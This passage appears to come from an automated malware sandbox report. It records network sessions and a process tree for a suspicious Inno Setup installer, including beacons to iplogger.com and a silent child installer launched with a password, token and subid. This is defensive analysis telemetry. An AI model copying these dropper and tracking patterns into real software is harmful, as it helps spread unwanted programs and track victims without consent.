00 00 00 00 00 c7 05 8c 79 5d 00 07 00 00 00 66 a3 Data Ascii: 8y]<y]f(y]hY)HEH3jPy]@y]Ty]hYPy]Ty]f@y]GEI3jhy]Xy]ly]hYhy]ly]fXy]GEJ3jy]xy]y]hYpy]ty]y]y]f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50141	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:33:55 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=gsFLpk9WD8mr+vo&MD=y8Xsl23L HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2023-12-06 13:33:56 UTC	560	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 4d 6f 6e 2c 20 30 31 20 4a 61 6e 20 30 30 30 31 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 4d 78 31 52 6f 4a 48 2f 71 45 77 70 57 66 4b 6c 6c 78 37 73 62 73 6c 32 38 41 75 45 52 7a 35 49 59 64 63 73 76 74 54 4a 63 67 4d 3d 5f 32 31 36 30 22 0d 0a 4d 53 2d 43 6f 72 72 65 6c 61 74 69 6f 6e 49 64 3a 20 38 35 66 63 33 35 64 66 2d 37 65 36 65 2d 34 65 62 62 2d Data Ascii: HTTP/1.1 200 OKCache-Control: no-cachePragma: no-cacheContent-Type: application/octet-streamExpires: -1Last-Modified: Mon, 01 Jan 0001 00:00:00 GMTETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160"MS-CorrelationId: 85fc35df-7e6e-4ebb-
2023-12-06 13:33:56 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2023-12-06 13:33:56 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50145	54.165.38.232	443	8128	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:34:06 UTC	241	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 165 Cache-Control: no-cache
2023-12-06 13:34:06 UTC	165	OUT	Data Raw: 71 74 3d 36 38 34 39 34 39 39 26 74 3d 6c 69 66 65 63 79 63 6c 65 26 6c 63 3d 73 74 61 72 74 26 76 3d 33 26 61 69 64 3d 35 37 62 65 63 37 39 35 31 35 63 31 65 63 35 32 35 66 38 38 35 38 62 66 26 61 76 3d 31 2e 30 2e 30 26 63 69 64 3d 35 37 46 31 41 42 38 39 32 39 46 45 37 32 42 39 45 44 37 39 46 34 35 39 30 43 39 38 42 32 37 44 34 43 30 36 46 42 38 44 26 73 69 64 3d 25 37 42 33 44 34 33 32 30 39 41 2d 30 46 32 38 2d 34 35 34 32 2d 42 37 45 43 2d 45 31 37 33 30 46 35 35 45 45 43 38 25 37 44 Data Ascii: qt=6849499&t=lifecycle&lc=start&v=3&aid=57bec79515c1ec525f8858bf&av=1.0.0&cid=57F1AB8929FE72B9ED79F4590C98B27D4C06FB8D&sid=%7B3D43209A-0F28-4542-B7EC-E1730F55EEC8%7D
2023-12-06 13:34:06 UTC	638	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 32 20 50 61 79 6d 65 6e 74 20 52 65 71 75 69 72 65 64 0d 0a 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 3d 22 73 65 74 2d 63 6f 6f 6b 69 65 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 33 34 3a 30 36 20 47 4d 54 0d 0a 45 54 61 67 3a 20 57 2f 22 32 2d 76 79 47 70 36 50 76 46 6f 34 52 76 73 46 74 50 6f 49 57 65 43 52 65 79 49 43 38 22 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 41 57 53 45 4c 42 3d 32 39 33 39 39 33 36 46 31 30 32 37 30 44 31 43 43 39 38 32 31 39 36 34 39 39 31 34 30 33 44 38 45 42 33 36 33 44 36 33 44 45 Data Ascii: HTTP/1.1 402 Payment RequiredCache-control: no-cache="set-cookie"Content-Type: application/json; charset=utf-8Date: Wed, 06 Dec 2023 13:34:06 GMTETag: W/"2-vyGp6PvFo4RvsFtPoIWeCReyIC8"Set-Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DE
2023-12-06 13:34:06 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	50146	54.165.38.232	443	8128	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:34:06 UTC	547	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 165 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DE10DBFD7E5D4AE6378040B3BE1E956BB85F2EBC23C045F574631A85FC4B0029A60C6D2CA10A361ABFE791980D7197FFA6; AWSELBCORS=2939936F10270D1CC9821964991403D8EB363D63DE10DBFD7E5D4AE6378040B3BE1E956BB85F2EBC23C045F574631A85FC4B0029A60C6D2CA10A361ABFE791980D7197FFA6
2023-12-06 13:34:06 UTC	165	OUT	Data Raw: 71 74 3d 36 38 35 30 32 30 32 26 74 3d 6c 69 66 65 63 79 63 6c 65 26 6c 63 3d 73 74 61 72 74 26 76 3d 33 26 61 69 64 3d 35 37 61 64 66 35 66 33 34 38 32 62 39 61 35 30 33 65 32 62 65 64 32 62 26 61 76 3d 35 2e 30 2e 33 26 63 69 64 3d 35 37 46 31 41 42 38 39 32 39 46 45 37 32 42 39 45 44 37 39 46 34 35 39 30 43 39 38 42 32 37 44 34 43 30 36 46 42 38 44 26 73 69 64 3d 25 37 42 38 30 31 32 45 37 30 34 2d 30 36 42 46 2d 34 33 37 41 2d 38 36 44 35 2d 30 45 32 42 46 35 33 44 39 43 31 46 25 37 44 Data Ascii: qt=6850202&t=lifecycle&lc=start&v=3&aid=57adf5f3482b9a503e2bed2b&av=5.0.3&cid=57F1AB8929FE72B9ED79F4590C98B27D4C06FB8D&sid=%7B8012E704-06BF-437A-86D5-0E2BF53D9C1F%7D
2023-12-06 13:34:07 UTC	219	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 32 20 50 61 79 6d 65 6e 74 20 52 65 71 75 69 72 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 33 34 3a 30 36 20 47 4d 54 0d 0a 45 54 61 67 3a 20 57 2f 22 32 2d 76 79 47 70 36 50 76 46 6f 34 52 76 73 46 74 50 6f 49 57 65 43 52 65 79 49 43 38 22 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 45 78 70 72 65 73 73 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d 0a Data Ascii: HTTP/1.1 402 Payment RequiredContent-Type: application/json; charset=utf-8Date: Wed, 06 Dec 2023 13:34:06 GMTETag: W/"2-vyGp6PvFo4RvsFtPoIWeCReyIC8"X-Powered-By: ExpressContent-Length: 2Connection: Close
2023-12-06 13:34:07 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	50181	54.165.38.232	443

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:34:24 UTC	241	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 164 Cache-Control: no-cache
2023-12-06 13:34:24 UTC	164	OUT	Data Raw: 71 74 3d 32 38 38 39 32 31 26 74 3d 6c 69 66 65 63 79 63 6c 65 26 6c 63 3d 73 74 61 72 74 26 76 3d 33 26 61 69 64 3d 35 37 61 64 66 35 66 33 34 38 32 62 39 61 35 30 33 65 32 62 65 64 32 62 26 61 76 3d 35 2e 30 2e 33 26 63 69 64 3d 35 37 46 31 41 42 38 39 32 39 46 45 37 32 42 39 45 44 37 39 46 34 35 39 30 43 39 38 42 32 37 44 34 43 30 36 46 42 38 44 26 73 69 64 3d 25 37 42 37 38 38 35 35 44 36 46 2d 41 46 37 32 2d 34 36 38 41 2d 39 31 32 45 2d 41 36 46 44 33 41 32 46 42 31 42 39 25 37 44 Data Ascii: qt=288921&t=lifecycle&lc=start&v=3&aid=57adf5f3482b9a503e2bed2b&av=5.0.3&cid=57F1AB8929FE72B9ED79F4590C98B27D4C06FB8D&sid=%7B78855D6F-AF72-468A-912E-A6FD3A2FB1B9%7D
2023-12-06 13:34:24 UTC	638	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 32 20 50 61 79 6d 65 6e 74 20 52 65 71 75 69 72 65 64 0d 0a 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 3d 22 73 65 74 2d 63 6f 6f 6b 69 65 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 33 34 3a 32 34 20 47 4d 54 0d 0a 45 54 61 67 3a 20 57 2f 22 32 2d 76 79 47 70 36 50 76 46 6f 34 52 76 73 46 74 50 6f 49 57 65 43 52 65 79 49 43 38 22 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 41 57 53 45 4c 42 3d 32 39 33 39 39 33 36 46 31 30 32 37 30 44 31 43 43 39 38 32 31 39 36 34 39 39 31 34 30 33 44 38 45 42 33 36 33 44 36 33 44 45 Data Ascii: HTTP/1.1 402 Payment RequiredCache-control: no-cache="set-cookie"Content-Type: application/json; charset=utf-8Date: Wed, 06 Dec 2023 13:34:24 GMTETag: W/"2-vyGp6PvFo4RvsFtPoIWeCReyIC8"Set-Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DE
2023-12-06 13:34:24 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	50182	54.165.38.232	443

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:34:26 UTC	547	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 164 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DE10DBFD7E5D4AE6378040B3BE1E956BB85F2EBC23C045F574631A85FC4B0029A60C6D2CA10A361ABFE791980D7197FFA6; AWSELBCORS=2939936F10270D1CC9821964991403D8EB363D63DE10DBFD7E5D4AE6378040B3BE1E956BB85F2EBC23C045F574631A85FC4B0029A60C6D2CA10A361ABFE791980D7197FFA6
2023-12-06 13:34:26 UTC	164	OUT	Data Raw: 71 74 3d 32 39 31 30 33 31 26 74 3d 6c 69 66 65 63 79 63 6c 65 26 6c 63 3d 73 74 61 72 74 26 76 3d 33 26 61 69 64 3d 35 37 61 64 66 35 66 33 34 38 32 62 39 61 35 30 33 65 32 62 65 64 32 62 26 61 76 3d 35 2e 30 2e 34 26 63 69 64 3d 35 37 46 31 41 42 38 39 32 39 46 45 37 32 42 39 45 44 37 39 46 34 35 39 30 43 39 38 42 32 37 44 34 43 30 36 46 42 38 44 26 73 69 64 3d 25 37 42 31 31 44 33 41 31 31 45 2d 38 37 34 34 2d 34 33 36 30 2d 39 38 31 30 2d 45 30 30 46 42 43 31 33 31 44 41 31 25 37 44 Data Ascii: qt=291031&t=lifecycle&lc=start&v=3&aid=57adf5f3482b9a503e2bed2b&av=5.0.4&cid=57F1AB8929FE72B9ED79F4590C98B27D4C06FB8D&sid=%7B11D3A11E-8744-4360-9810-E00FBC131DA1%7D
2023-12-06 13:34:26 UTC	219	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 32 20 50 61 79 6d 65 6e 74 20 52 65 71 75 69 72 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 33 34 3a 32 36 20 47 4d 54 0d 0a 45 54 61 67 3a 20 57 2f 22 32 2d 76 79 47 70 36 50 76 46 6f 34 52 76 73 46 74 50 6f 49 57 65 43 52 65 79 49 43 38 22 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 45 78 70 72 65 73 73 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d 0a Data Ascii: HTTP/1.1 402 Payment RequiredContent-Type: application/json; charset=utf-8Date: Wed, 06 Dec 2023 13:34:26 GMTETag: W/"2-vyGp6PvFo4RvsFtPoIWeCReyIC8"X-Powered-By: ExpressContent-Length: 2Connection: Close
2023-12-06 13:34:26 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	50186	142.251.16.138	443	2972	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:34:49 UTC	449	OUT	GET /tools/pso/ping?as=chrome&brand=ONGR&pid=&hl=en&events=C1I,C2I,C7I,C1S,C7S&rep=2&rlz=C1:,C2:,C7:&id=00000000000000000000000000000000000000006416C752B8 HTTP/1.1 Host: clients1.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br
2023-12-06 13:34:49 UTC	817	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 73 63 72 69 70 74 2d 73 72 63 20 27 72 65 70 6f 72 74 2d 73 61 6d 70 6c 65 27 20 27 6e 6f 6e 63 65 2d 35 77 70 63 63 67 71 63 4b 69 34 6c 41 6f 5a 41 6e 6a 62 61 50 41 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 27 73 74 72 69 63 74 2d 64 79 6e 61 6d 69 63 27 20 68 74 74 70 73 3a 20 68 74 74 70 3a 3b 6f 62 6a 65 63 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 72 65 70 6f 72 74 2d 75 72 69 20 68 74 74 70 73 3a 2f 2f 63 73 70 2e 77 69 74 68 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 63 73 70 2f 64 6f 77 6e 6c 6f 61 64 2d 64 74 2f 31 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 Data Ascii: HTTP/1.1 200 OKContent-Security-Policy: script-src 'report-sample' 'nonce-5wpccgqcKi4lAoZAnjbaPA' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/download-dt/1Content-Security-P
2023-12-06 13:34:49 UTC	219	IN	Data Raw: 72 6c 7a 43 31 3a 20 31 43 31 4f 4e 47 52 5f 65 6e 55 53 31 30 38 37 0a 72 6c 7a 43 32 3a 20 31 43 32 4f 4e 47 52 5f 65 6e 55 53 31 30 38 37 0a 72 6c 7a 43 37 3a 20 31 43 37 4f 4e 47 52 5f 65 6e 55 53 31 30 38 37 0a 64 63 63 3a 20 0a 73 65 74 5f 64 63 63 3a 20 43 31 3a 31 43 31 4f 4e 47 52 5f 65 6e 55 53 31 30 38 37 2c 43 32 3a 31 43 32 4f 4e 47 52 5f 65 6e 55 53 31 30 38 37 2c 43 37 3a 31 43 37 4f 4e 47 52 5f 65 6e 55 53 31 30 38 37 0a 65 76 65 6e 74 73 3a 20 43 31 49 2c 43 32 49 2c 43 37 49 2c 43 31 53 2c 43 37 53 0a 73 74 61 74 65 66 75 6c 2d 65 76 65 6e 74 73 3a 20 43 31 49 2c 43 32 49 2c 43 37 49 0a 63 72 63 33 32 3a 20 32 65 31 35 66 38 39 0a Data Ascii: rlzC1: 1C1ONGR_enUS1087rlzC2: 1C2ONGR_enUS1087rlzC7: 1C7ONGR_enUS1087dcc: set_dcc: C1:1C1ONGR_enUS1087,C2:1C2ONGR_enUS1087,C7:1C7ONGR_enUS1087events: C1I,C2I,C7I,C1S,C7Sstateful-events: C1I,C2I,C7Icrc32: 2e15f89

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	50188	104.21.12.138	443

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:34:51 UTC	106	OUT	GET /1gWvm4 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.4.3 Host: iplogger.com Connection: Keep-Alive
2023-12-06 13:34:51 UTC	1140	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 33 34 3a 35 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 70 6e 67 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 35 31 33 36 34 38 37 35 31 37 32 32 31 30 31 38 34 33 3d 33 3b 20 65 78 70 69 72 65 73 3d 46 72 69 2c 20 30 36 20 44 65 63 20 32 30 32 34 20 31 33 3a 33 34 3a 35 31 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 36 32 32 34 30 30 3b 20 70 61 74 68 3d 2f 3b 20 73 65 63 75 72 65 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 61 6d 65 53 69 74 65 3d 53 74 72 Data Ascii: HTTP/1.1 200 OKDate: Wed, 06 Dec 2023 13:34:51 GMTContent-Type: image/pngTransfer-Encoding: chunkedConnection: closeset-cookie: 513648751722101843=3; expires=Fri, 06 Dec 2024 13:34:51 GMT; Max-Age=31622400; path=/; secure; HttpOnly; SameSite=Str
2023-12-06 13:34:51 UTC	122	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`
2023-12-06 13:34:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	50189	104.21.12.138	443

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:34:52 UTC	163	OUT	GET /1gYvm4 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.4.3 Host: iplogger.com Connection: Keep-Alive Cookie: 513648751722101843=3; clhf03028ja=102.165.48.83
2023-12-06 13:34:53 UTC	1005	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 33 34 3a 35 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 70 6e 67 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 35 31 33 36 35 30 30 34 31 37 32 32 31 30 31 38 34 33 3d 33 3b 20 65 78 70 69 72 65 73 3d 46 72 69 2c 20 30 36 20 44 65 63 20 32 30 32 34 20 31 33 3a 33 34 3a 35 33 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 36 32 32 34 30 30 3b 20 70 61 74 68 3d 2f 3b 20 73 65 63 75 72 65 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 61 6d 65 53 69 74 65 3d 53 74 72 Data Ascii: HTTP/1.1 200 OKDate: Wed, 06 Dec 2023 13:34:53 GMTContent-Type: image/pngTransfer-Encoding: chunkedConnection: closeset-cookie: 513650041722101843=3; expires=Fri, 06 Dec 2024 13:34:53 GMT; Max-Age=31622400; path=/; secure; HttpOnly; SameSite=Str
2023-12-06 13:34:53 UTC	122	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`
2023-12-06 13:34:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	14:32:54
Start date:	06/12/2023
Path:	C:\Users\user\Desktop\ZmWSzgevgt.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\ZmWSzgevgt.exe
Imagebase:	0x400000
File size:	1'671'954 bytes
MD5 hash:	2DEAF2BE4672BF6457E136D78A7A3940
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	14:32:54
Start date:	06/12/2023
Path:	C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp" /SL5="$20408,832512,832512,C:\Users\user\Desktop\ZmWSzgevgt.exe"
Imagebase:	0x400000
File size:	3'199'488 bytes
MD5 hash:	BE0E74DC6AC70C5B8CC74C42B6999A70
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	14:33:04
Start date:	06/12/2023
Path:	C:\Users\user\AppData\Local\Temp\is-0270L.tmp\setup.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\is-0270L.tmp\setup.exe
Imagebase:	0x400000
File size:	5'135'320 bytes
MD5 hash:	8657D8F7608F1E03726F5B0256869C66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	14:33:05
Start date:	06/12/2023
Path:	C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp" /SL5="$1047E,4289520,832512,C:\Users\user\AppData\Local\Temp\is-0270L.tmp\setup.exe"
Imagebase:	0x400000
File size:	3'199'488 bytes
MD5 hash:	C039C014580F43E5B8162552F3CAF067
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	14:33:13
Start date:	06/12/2023
Path:	C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a0.exe" /VERYSILENT /PASSWORD=NtIRVUpMK9ZD30Nf98220 -token mtn1co3fo4gs5vwq -subid 2598
Imagebase:	0x400000
File size:	11'087'839 bytes
MD5 hash:	5AFE9D5A2BCC39B1E0573A77EFBE82B7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
